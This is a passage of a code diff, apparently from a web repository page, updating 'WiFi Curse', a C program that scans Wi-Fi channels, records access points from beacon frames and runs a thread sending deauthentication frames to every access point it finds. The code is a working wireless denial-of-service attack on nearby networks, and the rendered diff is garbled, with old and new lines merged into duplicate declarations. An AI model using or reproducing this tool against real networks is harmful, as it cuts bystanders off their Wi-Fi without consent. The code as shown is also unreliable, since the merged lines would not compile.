if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r)
|
||||
break;
|
||||
}
|
||||
|
||||
/* if we didn't found the channel number
|
||||
* or if the channel number is not in interference range
|
||||
* then return ERRNODATA
|
||||
*/
|
||||
if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2)
|
||||
return ERRNODATA;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
return ERRNODATA;
|
||||
}
|
||||
|
||||
void *deauth_thread_func(void *arg) {
|
||||
struct deauth_thread_args *ta = arg;
|
||||
struct access_point *ap, *tmp;
|
||||
int i, j, b, tmp_chan;
|
||||
|
||||
while (!stop) {
|
||||
pthread_mutex_lock(ta->mutex_chan);
|
||||
b = 0;
|
||||
for (i=0; i<60 && !stop; i++) {
|
||||
for (j=0; j<128 && !stop; j++) {
|
||||
ap = ta->apl->head;
|
||||
while (ap != NULL && !stop) {
|
||||
/* if the last beacon we got was 3 mins ago, remove AP */
|
||||
if (time(NULL) - ap->last_beacon_tm >= 3*60) {
|
||||
tmp_chan = ap->info.chan;
|
||||
tmp = ap;
|
||||
ap = ap->next;
|
||||
pthread_mutex_lock(ta->mutex_list);
|
||||
unlink_ap(ta->apl, tmp);
|
||||
free(tmp);
|
||||
/* if AP channel is not in chans_fixed and there isn't any
|
||||
* other AP that use this channel, remove it from chans.
|
||||
*/
|
||||
if (!channel_isset(ta->chans_fixed, tmp_chan)) {
|
||||
tmp = ta->apl->head;
|
||||
while (tmp != NULL) {
|
||||
if (tmp->info.chan == tmp_chan)
|
||||
break;
|
||||
tmp = tmp->next;
|
||||
}
|
||||
if (tmp == NULL)
|
||||
channel_unset(ta->chans, tmp_chan);
|
||||
}
|
||||
pthread_mutex_unlock(ta->mutex_list);
|
||||
continue;
|
||||
}
|
||||
/* if interface and AP are in the same channel, send deauth */
|
||||
if (ap->info.chan == ta->dev->chan) {
|
||||
if (send_deauth(ta->dev, ap) < 0) {
|
||||
print_error();
|
||||
stop = 2; /* notify main thread that we got an error */
|
||||
}
|
||||
b = 1;
|
||||
ap->num_of_deauths++;
|
||||
}
|
||||
ap = ap->next;
|
||||
}
|
||||
/* if we have send deauth, sleep for 2000 microseconds */
|
||||
if (b && !stop)
|
||||
usleep(2000);
|
||||
}
|
||||
/* if we have send deauth, sleep for 180000 microseconds */
|
||||
if (b && !stop)
|
||||
usleep(180000);
|
||||
}
|
||||
pthread_mutex_unlock(ta->mutex_chan);
|
||||
/* small delay to avoid fast relock of mutex_chan */
|
||||
usleep(100);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct dev dev;
|
||||
struct ap_list apl;
|
||||
uint8_t bssid[IFHWADDRLEN];
|
||||
sigset_t exit_sig;
|
||||
struct ap_info api;
|
||||
struct iw_dev dev;
|
||||
struct pollfd pfd[2];
|
||||
time_t tm1;
|
||||
int chan, ret, sigfd;
|
||||
struct deauth_thread_args ta;
|
||||
struct timeval tv1, tv2;
|
||||
suseconds_t msec;
|
||||
pthread_t deauth_thread;
|
||||
pthread_mutex_t mutex_chan, mutex_list;
|
||||
channelset_t chans_fixed, chans;
|
||||
int ret, sigfd, n, chan;
|
||||
sigset_t exit_sig;
|
||||
time_t tm;
|
||||
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
|
||||
@ -133,37 +245,68 @@ int main(int argc, char *argv[]) {
|
||||
pfd[0].events = POLLIN;
|
||||
|
||||
/* init device */
|
||||
init_dev(&dev);
|
||||
iw_init_dev(&dev);
|
||||
strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1);
|
||||
|
||||
if (iw_open(&dev) < 0) {
|
||||
print_error();
|
||||
goto _errout;
|
||||
goto _errout_no_thread;
|
||||
}
|
||||
|
||||
if (!iw_can_change_channel(&dev)) {
|
||||
fprintf(stderr, "%s can not change channels in monitor mode.\n"
|
||||
"Maybe you need to patch your kernel with:\n"
|
||||
" patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname);
|
||||
goto _errout;
|
||||
goto _errout_no_thread;
|
||||
}
|
||||
|
||||
pfd[1].fd = dev.fd;
|
||||
pfd[1].fd = dev.fd_in;
|
||||
pfd[1].revents = 0;
|
||||
pfd[1].events = POLLIN;
|
||||
|
||||
tm1 = time(NULL);
|
||||
chan = 1;
|
||||
/* init channel set */
|
||||
channel_zero(&chans_fixed);
|
||||
for (n=1; n<=14; n++)
|
||||
channel_set(&chans_fixed, n);
|
||||
channel_copy(&chans, &chans_fixed);
|
||||
|
||||
if (iw_set_channel(&dev, chan) < 0) {
|
||||
/* set channel */
|
||||
n = 0;
|
||||
chan = 0;
|
||||
do {
|
||||
chan = (chan % CHANNEL_MAX) + 1;
|
||||
if (channel_isset(&chans, chan))
|
||||
ret = iw_set_channel(&dev, chan);
|
||||
else
|
||||
ret = -1;
|
||||
/* if fails try next channel */
|
||||
} while(++n < CHANNEL_MAX && ret < 0);
|
||||
if (ret < 0) {
|
||||
print_error();
|
||||
goto _errout;
|
||||
goto _errout_no_thread;
|
||||
}
|
||||
|
||||
/* start deauth thread */
|
||||
stop = 0;
|
||||
ta.apl = &apl;
|
||||
ta.dev = &dev;
|
||||
ta.chans_fixed = &chans_fixed;
|
||||
ta.chans = &chans;
|
||||
pthread_mutex_init(&mutex_chan, NULL);
|
||||
ta.mutex_chan = &mutex_chan;
|
||||
pthread_mutex_init(&mutex_list, NULL);
|
||||
ta.mutex_list = &mutex_list;
|
||||
if (pthread_create(&deauth_thread, NULL, deauth_thread_func, &ta) < 0) {
|
||||
err_msg("pthread_create");
|
||||
goto _errout_no_thread;
|
||||
}
|
||||
|
||||
clear_scr();
|
||||
update_scr(&apl, &dev);
|
||||
tm = time(NULL);
|
||||
gettimeofday(&tv1, NULL);
|
||||
|
||||
while (1) {
|
||||
while (!stop) {
|
||||
if (poll(pfd, 2, 0) < 0) {
|
||||
err_msg("poll");
|
||||
goto _errout;
|
||||
@ -173,46 +316,76 @@ int main(int argc, char *argv[]) {
|
||||
break;
|
||||
|
||||
if (pfd[1].revents & POLLIN) {
|
||||
ret = read_bssid(dev.fd, bssid);
|
||||
ret = read_ap_info(&dev, &api);
|
||||
if (ret < 0 && ret != ERRNODATA) { /* error */
|
||||
print_error();
|
||||
goto _errout;
|
||||
} else if (ret == 0) { /* got BSSID */
|
||||
if (add_or_update_ap(&apl, bssid) < 0) {
|
||||
print_error();
|
||||
goto _errout;
|
||||
}
|
||||
update_scr(&apl, &dev);
|
||||
if (send_deauth(dev.fd, bssid) < 0) {
|
||||
} else if (ret == 0) { /* got infos */
|
||||
channel_set(&chans, api.chan);
|
||||
pthread_mutex_lock(&mutex_list);
|
||||
if (add_or_update_ap(&apl, &api) < 0) {
|
||||
pthread_mutex_unlock(&mutex_list);
|
||||
print_error();
|
||||
goto _errout;
|
||||
}
|
||||
pthread_mutex_unlock(&mutex_list);
|
||||
}
|
||||
}
|
||||
|
||||
/* change channel every 3 seconds */
|
||||
if (time(NULL) - tm1 >= 3) {
|
||||
int n = 0;
|
||||
do {
|
||||
chan = (chan % 13) + 1;
|
||||
ret = iw_set_channel(&dev, chan);
|
||||
/* if fails try next channel */
|
||||
} while(++n < 13 && ret < 0);
|
||||
if (ret < 0) {
|
||||
print_error();
|
||||
goto _errout;
|
||||
}
|
||||
clear_deauth(&apl);
|
||||
gettimeofday(&tv2, NULL);
|
||||
if (tv2.tv_usec > tv1.tv_usec)
|
||||
msec = tv2.tv_usec - tv1.tv_usec;
|
||||
else
|
||||
msec = tv1.tv_usec - tv2.tv_usec;
|
||||
|
||||
/* update screen every 0.5 second */
|
||||
if (msec >= 500000) {
|
||||
pthread_mutex_lock(&mutex_list);
|
||||
update_scr(&apl, &dev);
|
||||
tm1 = time(NULL);
|
||||
pthread_mutex_unlock(&mutex_list);
|
||||
gettimeofday(&tv1, NULL);
|
||||
}
|
||||
|
||||
/* change channel at least every 1 second */
|
||||
if (time(NULL) - tm >= 1) {
|
||||
n = 0;
|
||||
do {
|
||||
if (pthread_mutex_trylock(&mutex_chan) != 0) {
|
||||
n = -1;
|
||||
break;
|
||||
}
|
||||
chan = (chan % CHANNEL_MAX) + 1;
|
||||
if (channel_isset(&chans, chan))
|
||||
ret = iw_set_channel(&dev, chan);
|
||||
else
|
||||
ret = -1;
|
||||
pthread_mutex_unlock(&mutex_chan);
|
||||
/* if fails try next channel */
|
||||
} while(++n < CHANNEL_MAX && ret < 0);
|
||||
if (n != -1) {
|
||||
if (ret < 0) {
|
||||
print_error();
|
||||
goto _errout;
|
||||
}
|
||||
tm = time(NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* we got an error from deauth thread */
|
||||
if (stop == 2)
|
||||
goto _errout;
|
||||
|
||||
printf("\nExiting..\n");
|
||||
stop = 1;
|
||||
pthread_join(deauth_thread, NULL);
|
||||
iw_close(&dev);
|
||||
free_ap_list(&apl);
|
||||
return EXIT_SUCCESS;
|
||||
_errout:
|
||||
stop = 1;
|
||||
pthread_join(deauth_thread, NULL);
|
||||
_errout_no_thread:
|
||||
iw_close(&dev);
|
||||
free_ap_list(&apl);
|
||||
return EXIT_FAILURE;
|
||||
|
@ -21,10 +21,11 @@
|
||||
|
||||
#include <stdint.h>
|
||||
#include <linux/if.h>
|
||||
#include "dev.h"
|
||||
#include "iw.h"
|
||||
#include "ap_list.h"
|
||||
|
||||
|
||||
#define VERSION "0.2"
|
||||
#define VERSION "0.3"
|
||||
|
||||
struct frame_control {
|
||||
uint8_t protocol_version:2;
|
||||
@ -58,8 +59,24 @@ struct mgmt_frame {
|
||||
uint8_t frame_body[];
|
||||
} __attribute__((__packed__));
|
||||
|
||||
struct info_element {
|
||||
uint8_t id;
|
||||
uint8_t len;
|
||||
uint8_t info[];
|
||||
} __attribute__((__packed__));
|
||||
|
||||
int send_deauth(int fd, uint8_t *ap_mac);
|
||||
int read_bssid(int fd, uint8_t *bssid);
|
||||
#define INFO_ELEMENT_ID_SSID 0
|
||||
#define INFO_ELEMENT_ID_DS 3
|
||||
|
||||
struct beacon_frame_body {
|
||||
uint64_t timestamp;
|
||||
uint16_t interval;
|
||||
uint16_t capabilities;
|
||||
struct info_element infos[];
|
||||
} __attribute__((__packed__));
|
||||
|
||||
|
||||
int send_deauth(struct iw_dev *dev, struct access_point *ap);
|
||||
int read_ap_info(struct iw_dev *dev, struct ap_info *api);
|
||||
|
||||
#endif
|
||||
|
Loading…
Reference in New Issue
Block a user